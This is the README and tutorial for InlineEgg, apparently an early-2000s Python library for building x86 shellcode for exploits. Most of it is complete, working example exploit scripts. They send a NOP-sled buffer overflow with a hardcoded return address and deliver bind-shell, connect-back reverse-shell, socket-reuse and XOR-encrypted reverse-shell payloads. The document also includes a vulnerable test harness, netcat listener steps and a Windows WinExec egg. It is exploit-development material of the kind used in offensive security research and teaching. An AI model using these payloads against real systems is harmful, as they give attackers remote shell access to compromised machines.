Welcome to InlineEgg

(InlineEgg-1.08.tar.gz).

Short version:

InlineEgg is a collection of python classes (a "library"), that will help you write small assembly programs, either to use as eggs/shellcode for your exploits or for anything else you may need small assembly programs for. But! without writing assembly, just using python.

InlineEgg is now included in CORE IMPACT as another component of its egg creation framework, but it started as a pretty simple idea to fulfill a pretty simple need. We hope that you find it helpful for your own creations, so we are releasing it under an opensource license for non commercial uses.

Long version:

A simple need: When writing exploits for remote code execution vulnerabilities (yes, that's what we do part of the time), you usually need to have a small assembly program that will be sent to the vulnerable application as part of the exploiting process. Historically, this small pieces of assembly code (eggs) were hardcoded as dead strings in the middle of the exploit. But, although having the strings handy gave the exploit writer some reusability and some flexibility, we sometimes needed more, we even needed the possibility of creating our small assembly programs in runtime, and make them adapt to the situation... well, there are lots of different solutions to the problem, but as I already had some ideas on how to do it, I jumped into python.

A simple idea: Do something that lets us create small assembly programs by concatenating system calls, giving us the possibility of changing the arguments to the system calls, and adding more code when needed... for example, a pretty common egg I'd like to create would be:

```
setuid(0)
setgid(0)
execve('/bin/sh',('sh','-i'))
```

or even

```
setuid(0)
setgid(0)
mkdir('a')
chroot('a')
chroot('../../')                # yes, it works
execve('/bin/sh',('sh','-i'))
```

or probably more complex things, but still eggs.

Let me talk just a little about eggs. Eggs are the code an exploit sends to, and executes in its target. As any other code, eggs could be written in any programing language, could be small, big, be self-contained or use libraries, etc. Eggs have been written in assembly for historical reasons, and mainly because not much more was needed. But today things are changing, either because bugs are getting tougher to exploit reliably, because OS and application hardening measures are slowly becoming more widely

used, or because IDSes detect eggs instead of the underlying bug. The need for "smarter", and dynamically created eggs is flowing in the air.

Just a few words about what a shellcode is: a shellcode is an egg that executes a shell, but as eggs evolved into more advanced programs, it's not fair to simply call them shellcodes anymore.

InlineEgg comes to fill a small gap, not all. It can only create simple eggs that use system calls, and have simple logic and simple variables, nothing complex. It was not created to fulfill every need, it was actually created as an experiment, looking for something different, playing with a few ideas, trying to keep it simple but still useful, nothing really serious.

As every other software, it's not finished: there are always plenty of things to add, change, discard, redo and rethink, but still, after sitting on it for more than a year, and after approaching a nearly usable stage, it's ready to see the light. So, ladies and gentlemen, here with you, to use at no charge InlineEgg... another idea that was flowing in the air and condensed into code.

First, some simple examples of how to use it (oh, yes! python! didn't I say it?), the example are to be read and to learn how to use the library from them. Not only to be cut & pasted :-)

example1.py

```
#!/usr/bin/python

from inlineegg import *
import socket
import struct
import sys

def stdinShellEgg():
#   egg = InlineEgg(FreeBSDx86Syscall)
#   egg = InlineEgg(OpenBSDx86Syscall)
   egg = InlineEgg(Linuxx86Syscall)

   egg.setuid(0)
   egg.setgid(0)
   egg.execve('/bin/ls',('ls','-la'))

   print "Egg len: %d" % len(egg)
   return egg

def main():
   if len(sys.argv) < 3:
      raise Exception, "Usage: %s <target ip> <target port>"

   # connect to target
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], int(sys.argv[2])))

   # create egg
   egg = stdinShellEgg()

   # exploit
   retAddr = struct.pack('<L',0xbffffc24L)
   toSend  = "\x90"*(1024-len(egg))
```

```
   toSend += egg.getCode()
   toSend += retAddr*20

   sock.send(toSend)

main()
```

uhm... do you want "bind shellcode", the following egg listen on port 3334:

example2.py

```
#!/usr/bin/python

from inlineegg import *
import socket
import struct
import sys

def listenShellEgg(listen_addr, listen_port):

#   egg = InlineEgg(FreeBSDx86Syscall)
#   egg = InlineEgg(OpenBSDx86Syscall)
   egg = InlineEgg(Linuxx86Syscall)

   # bind to port and listen
   sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM)
   sock = egg.save(sock)                       # save the socket in a variable
                                               # (in stack)
   egg.bind(sock, (listen_addr, listen_port)) # sock is now the variable,
                                               # and it's used from the stack
   egg.listen(sock,1)

   client = egg.accept(sock, 0, 0)
   client = egg.save(client)
   egg.close(sock)

   egg.dup2(client, 0)
   egg.dup2(client, 1)
   egg.dup2(client, 2)
   egg.execve('/bin/sh',('bash','-i'))

   print "Egg len: %d" % len(egg)
   return egg

def main():
   if len(sys.argv) < 3:
      raise Exception, "Usage: %s <target ip> <target port>"

   # connect to target
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], int(sys.argv[2])))

   # create egg
   egg = listenShellEgg('0.0.0.0',3334)

   # exploit
```

```
   retAddr = struct.pack('<L',0xbffffc24L)
   toSend  = "\x90"*(1024-len(egg))
   toSend += egg.getCode()
   toSend += retAddr*20

   sock.send(toSend)

main()
```

To test all the examples here you can use the following C program.

tester.c

```
int main() {
        char buf[1024];

        read(0,buf,1024);
        ((void(*)())buf)();
}
```

And now, for example, using two different shell prompts ([1] and [2]):

```
    # wait for the sent egg and pipe it to tester (strace helps)
gera@violent[1]: nc -v -l -p 3333|strace ./tester

    # "exploit" tester listening on port 3333
gera@violent[2]: ./example2.py 127.0.0.1 3333

    # connect to 3334, where the egg is listening
gera@violent[2]: nc -v 127.0.0.1 3334
```

if you want the egg to connect back to you, only do:

example3.py

```
#!/usr/bin/python

from inlineegg import *
import socket
import struct
import sys

def connectShellEgg(connect_addr, connect_port):
#   egg = InlineEgg(FreeBSDx86Syscall)
#   egg = InlineEgg(OpenBSDx86Syscall)
   egg = InlineEgg(Linuxx86Syscall)

   # connect to other side
   sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM)
   sock = egg.save(sock)
   egg.connect(sock,(connect_addr, connect_port))

   # dup an exec
   egg.dup2(sock, 0)
```

```
   egg.dup2(sock, 1)
   egg.dup2(sock, 2)
   egg.execve('/bin/sh',('bash','-i'))
   print "Egg len: %d" % len(egg)
   return egg

def main():
   if len(sys.argv) < 3:
      raise Exception, "Usage: %s <target ip> <target port>"

   # connect to target
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], int(sys.argv[2])))

   # create egg
   egg = connectShellEgg('127.0.0.1',3334)

   # exploit

   retAddr = struct.pack('<L',0xbffffc24L)
   toSend  = "\x90"*(1024-len(egg))
   toSend += egg.getCode()
   toSend += retAddr*20

   sock.send(toSend)

main()
```

Test it using three shells now:

```
    # wait for the sent egg and pipe it to tester (strace helps)
gera@violent[1]: nc -v -l -p 3333|strace ./tester

    # the egg will connect back to you on port 3334
gera@violent[2]: nc -v -l -p 3334

    # "exploit" tester listening on port 3333
gera@violent[3]: ./example3.py 127.0.0.1 3333
```

As said before, all this examples are simple and straight forward: they use system calls one after the other. But let me tell you, that was pretty common for an egg until recently. OK, on some cases you want to add some logic to the egg, for example, if you want it to scan the file descriptors until it finds a socket. InlineEgg does provide some possibilities to add logic to the eggs, at first the syntax may look weird (does it?), but it was necessary to keep the implementation simple (remember it all started as a game, to see if it could be kept simple?).

Before reading the next example, remember that you are still coding assembly, however, you are not using an assembly compiler (assembler) to do it, but rather InlineEgg is compiling it for you. In this next example we will be accessing and using the microprocessor directly (still in python), and adding code "manually". We will try to hide it, but still, you better don't forget in the end, when we write eggs, it all comes down to assembly.

example4.py

```
#!/usr/bin/python

from inlineegg import *
import socket
import struct
import sys

def reuseConnectionShellEgg():
#   egg = InlineEgg(FreeBSDx86Syscall)
#   egg = InlineEgg(OpenBSDx86Syscall)
   egg = InlineEgg(Linuxx86Syscall)

   # s = egg.socket(2,1)                # uncomment for testing
   # egg.connect(s,('127.0.0.1',3334))  # uncomment for testing

   # scan for correct socket
   sock = egg.save(-1)               # create a variable in the stack,
                                     #initialized with zero

   # loop looking for socket
   loop = egg.Do()                   # we're gonna do a "do {} while()"
   loop += loop.micro.inc(sock)      # now we talk to the answer from Do(),
                                     # look how we use egg.micro and  +=
   lenp = loop.save(0)               # while coding the loop, we need to talk
                                     # to "loop" no "egg"
   err = loop.getpeername(sock,0,lenp.addr())
   loop.While(err, '!=', 0)

 # NOTE: in Linux and OpenBSD (at least), if the passed length to getpeername()
 # is 0 there is no need to pass valid pointer, however the length must be a
 # valid pointer itself.
 # If you wanted to pass a buffer to compare peer's address to some value you
 # could do:
 #
 # foundIP = egg.Do()                              # outer loop for IP address
 #
 # loop = egg.Do()                                 # inner loop for return value
                                                   # from getpeername()
 # buff = loop.alloc(16)                           # allocate a 16 bytes buffer
                                                   # (in the stack)
 # lenp = loop.save(16)                            # initialize the length with
                                                   # 16 (the size of the buffer)
 # err  = loop.getpeername(sock, buff.addr(), lenp.addr())
 # loop += loop.micro.set('edx',buff+4)            # edx =  peers IP address in
 # loop.While(err, '!=', 0)
 #
 # foundIP.While('edx','!=',0x0100007f)

   # dup an exec
   egg.dup2(sock, 0)
   egg.dup2(sock, 1)
   egg.dup2(sock, 2)
   egg.execve('/bin/sh',('bash','-i'))
   print "Egg len: %d" % len(egg)
   return egg
```

```
def main():
   if len(sys.argv) < 3:
      raise Exception, "Usage: %s <target ip> <target port>"

   # connect to target
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], int(sys.argv[2])))

   # create egg
   egg = reuseConnectionShellEgg()

   # exploit

   retAddr = struct.pack('<L',0xbffffc24L)
   toSend  = "\x90"*(1024-len(egg))
   toSend += egg.getCode()
   toSend += retAddr*20

   sock.send(toSend)

main()
```

This example is not as easy to test, because it needs an already established connection with the exploited program... however, if we uncomment the two lines marked with "uncomment for testing", the egg will act as a connectShellEgg(), but it will be using the reuseConnectShellEgg() technique, effectively testing what we want to test. So, to test, uncomment the two lines and:

```
    # wait for the sent egg and pipe it to tester (strace helps)
gera@violent[1]: nc -v -l -p 3333|strace ./tester

    # the egg will connect back to you on port 3334
gera@violent[2]: nc -v -l -p 3334

    # "exploit" tester listening on port 3333
gera@violent[3]: ./example4.py 127.0.0.1 3333
```

reuseConnectionShellEgg() is a little more complex, take some time to see how it works. Using egg.micro directly may look confusing at first, but it should be clear if you don't forget that in the end what you are doing is assembly. Read the note about using getpeername() with a buffer, because that's the key to understand how buffers could be used.

The next example is the last one, and is a little more complicated, mixing not only direct uses of egg.micro but also including some externally compiled assembly to do some stuff which micro and inlineegg can't do (there is no technical reason why they can't do it, it's just that it was getting too complex and overstuffed with things not originally there).

So, the next example is the implementation of an egg that will spawn a shell and "encrypt" all traffic (simple "encryption", just xor). I know this is not the first implementation of an egg like this, not even the second implementation, but I'm pretty sure it's the first one using InlineEgg :-) [is it the last using InlineEgg? :-)]

example5.py

```
#!/usr/bin/python

from inlineegg import *
import socket
import struct
import sys

def connectEncryptedShellEgg(connect_addr, connect_port):

   BUFSIZE = 1024

#   egg = InlineEgg(FreeBSDx86Syscall)
#   egg = InlineEgg(OpenBSDx86Syscall)
   egg = InlineEgg(Linuxx86Syscall)

   # connect to other side
   sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM)
   sock = egg.save(sock)
   egg.connect(sock,(connect_addr, connect_port))

   # setup communication with child
   egg.close(0)                        # close(0) so next opened fd is 0
   fds = egg.alloc(8)
   child_fd = fds+4
   egg.socketpair(socket.AF_UNIX, socket.SOCK_STREAM, 0, fds.addr())
   egg.dup2(0,1)                       # as 0 was closed, we assume socketpair()
                                       # returns 0 and something
   egg.dup2(0,2)
   egg.fork()

   # fork shell
   child = egg.If('eax','=',0)
   child.close(child_fd)
   child.execve('/bin/sh',('sh','-i',0))
   child.end()

   # proxy from child process to remote peer
   buff  = egg.alloc(BUFSIZE)
   infd  = 'esi'
   outfd = 'edi'

   # move fds to registers
   egg += egg.micro.set(infd, sock)
   egg += egg.micro.set(outfd, child_fd)

   # swap registers in one of the children (so one encrypts and the other decrypts)
   enc_pid = egg.fork()
   enc_pid = egg.save(enc_pid)
   child = egg.If('eax','=',0)
   child += '\x87\xf7'               # xchg %esi, %edi
   child.end()

   # main loop (read from one side, encrypt/decrypt, write to the other side)
   w = egg.Do()

   #   read
```

```
   nr = egg.read(infd, buff.addr(), BUFSIZE)

   #   end if eof
   eof = egg.If('eax','=',0)
   eof.kill(enc_pid,9)
   eof.exit(0)
   eof.end()

   #   encrypt/decrypt
   egg += egg.micro.set('ecx',nr)
   egg += egg.micro.set('ebx',(buff-1).addr())
   egg += "\x83\x34\x0b\x55"         # xor $55, (%ebx, %ecx, 1)
   egg += "\xe2\xfa"                 # loop _xor

   #   write
   nw = egg.write(outfd, buff.addr(), nr)
   w.While(nw, '!=', 0)

   print "Egg len: %d" % len(egg)
   return egg


def main():
   if len(sys.argv) < 3:
      raise Exception, "Usage: %s <target ip> <target port>"

   # connect to target
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], int(sys.argv[2])))

   # create egg
   egg = connectEncryptedShellEgg('127.0.0.1',3335)

   # exploit

   retAddr = struct.pack('<L',0xbffffc24L)
   toSend  = "\x90"*(1024-len(egg))
   toSend += egg.getCode()
   toSend += retAddr*20

   sock.send(toSend)

main()
```

Of course that for using this last egg a mere netcat is not enough, so here is a "telnet" that will encrypt and decrypt as needed.

xored_shell_client.py

```
#!/usr/bin/python
import telnetlib
import sys

class CypherTelnet(telnetlib.Telnet):
    def fill_rawq(self):
        old = self.rawq
        telnetlib.Telnet.fill_rawq(self)
```

```
        for i in self.rawq[len(old):]:
            old += chr(0x55 ^ ord(i))
        self.rawq = old

    def write(self, buf):
        out = ''
        for i in buf:
            out += chr(0x55 ^ ord(i))
        return telnetlib.Telnet.write(self, out)

if sys.argv[1] == '-l':
   import socket
   t = CypherTelnet()
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.bind((sys.argv[2], int(sys.argv[3])))
   sock.listen(1)
   t.sock, peer = sock.accept()
   print "Connected from %s" % (peer,)
   sock.close()
   t.interact()
else:
   CypherTelnet(sys.argv[1], int(sys.argv[2])).interact()
```

So, to test this last one do:

```
    # wait for the sent egg and pipe it to tester (strace helps)
gera@violent[1]: nc -v -l -p 3333|strace ./tester

    # the egg will connect back to you on port 3334
gera@violent[2]: ./xored_shell_client -l 0.0.0.0 3335

    # "exploit" tester listening on port 3333
gera@violent[3]: ./example5.py 127.0.0.1 3333
```

That's pretty much it, let me talk just a little about the "design" behind inlineegg:

There are three main classes:

```
   Microprocessor
   Syscall
   InlineEgg
```

And they have subclasses:

```
   Microprocessor
      Microx86
   Syscall
      Linuxx86Syscall
      StackBasedSyscall
         FreeBSDx86Syscall
         OpenBSDx86Syscall
         Solarisx86Syscall
         WindowsSyscall
   InlineEgg
      LanguageInlineEgg
```

```
While1InlineEgg
FunctionInlineEgg
IfInlineEgg
WhileInlineEgg
DoInlineEgg
```

How to use all this? Currently the best documentation we have are examples and InlineEgg's source itself, sorry, I know I should write some good documentation about the library, how to use it and how to extend it, I'll try to do it in the near future.

When you want to build an egg you use an InlineEgg (as in the previous examples), internally, an InlineEgg uses a Microprocessor and a Syscall. The former to know how to do basic things, like setting registers, pushing them to stack, allocating space in stack, etc. and the latter to know how to invoke a System Call.

Microprocessor is who knows how to write assembly code. Check how it's implemented, it's not a neat or clean implementation, but it works. Lately I've been trying to clean it up a little, but haven't put more than 1 day into that, and although it evolved a little, it wasn't really significant. At first I was not sure if the design was good enough to permit the implementation of other type of Microprocessors, but now I do think it's enough, at least to start with, after jp showed me his implementation of Micros390 and showed me how he could use InlineEgg to write simple Linux/s390 eggs, although he had to simulate some instructions to be able to plug it into the scheme.

Syscall is the implementation of the System Call interface, it depends on the operating system and it may depend on the platform (for example, Solaris/x86 passes arguments on the stack, while Solaris/SPARC uses registers). Not every system call is implemented in the Systemcall classes, only the interface to them is. The specifics of each particular system call is implemented in InlineEgg itself. Linuxx86Syscall is the most tested, then I know all the examples and all the tests in inlineegg_tests.py also work in OpenBSDx86Syscall. FreeBSDx86Syscall and Solarisx86Syscall where implemented in two ours (check how FreeBSDx86Syscall is implemented :-). For FreeBSD most things work, but there are some differences between Free and Open, so it may not work 100% OK. And then Solaris lacks some syscalls, and, for example, dup2() must be implemented using fcntl(), but this is not yet in InlineEgg.

WindowsSyscall is a latter experiment to see how easy/hard it would be to port this ideas to windows. As for Syscall Proxying, "system call" must be understood as "any function in any dll". So, WindowsSyscall is that: a way to call any function in any dll, and it does work for some basic things. However, it depends on the user to supply the addresses of LoadLibrary and GetProcAddress. The design and implementation of this dependency lets you implement an egg that resolves this two addresses in runtime, using any of the well known methods (walking the list of dlls in memory, and then the IAT or the export table, or using hashes, or using hardcoded values per service pack and verifying them in runtime, or using ntdll.LdrLoadDll() + ntdll.LdrGetProcedureAddress(), etc), one of the examples included is:

```
egg = InlineEgg(WindowsSyscall)
# hardcoded for my 2k
egg += egg.syscall.remember('kernel32.dll.LoadLibrary',0x77e8a254)
egg += egg.syscall.remember('kernel32.dll.GetProcAddress',0x77e89ac1)
egg += egg.syscall.syscall('kernel32.dll','WinExec',('notepad.exe',5))[0]
```

```
egg += egg.syscall.syscall('kernel32.dll','WinExec',('progman.exe',5))[0]
egg += egg.syscall.syscall('kernel32.dll','ExitProcess',(0,))[0])
egg.dumpExe('winexec_test.exe')
```

As you can see, WindowsSyscall is not really integrated into the scheme, but I think it's already usable.

InlineEgg is what you will usually use. It not only knows how to build code that uses system calls, but can also provide some basic language constructs, like infinite loop, if, while, do {} while and functions. Don't expect a real parser, a compiler and all the normal things a language requires, once more, this was kept simple, and as a result, the implementation is not very powerful and still needs more work. The "syntax" is almost consistent among the different constructs, and after some time you'll get used to it, for example, an if would be:

```
    uid = egg.getuid()
    no_root = egg.If(uid, '!=', 0)
    no_root.write(1,'You are not root!\n', len('You are not root!\n'))
    no_root.exit(1)
    no_root.end()
    egg.write(1,'You are root!\n', len('You are root!\n'))
```

Note how a new egg is constructed using egg.If(), and how everything inside the if is done using the newly constructed egg instead of the original egg. Also note how after end() everything goes back to normal... go back and take a look at example4.py, where a Do().While() is used, and check the commented code, where two nested Do().While()s are used.

This is all... check inlineegg_tests.py and inlineegg_win_tests.py for more examples, take a look at inlineegg.py and WindowsSyscall.py to see how things are done, to fix bugs, to add code, and to know the reasons of why things are not working as you expected them to...

Wish you good luck, hope you enjoy it and feed back any thoughts it seeds, etc, etc...

gera [at corest.com]

PS: Oh, I forgot. dumpElf(), dumpAOut() and dumpExe() use exelib.py, which is not included in this package. This methods could be used to dump the eggs to executable files directly. Instead, you could use dumpS() to write a .S assembly file, and use the accompanying Makefile to create small executables. The Makefile is known to work on Linux, and as with the rest, there is no warranty at all that it'll be of any use for anything :-)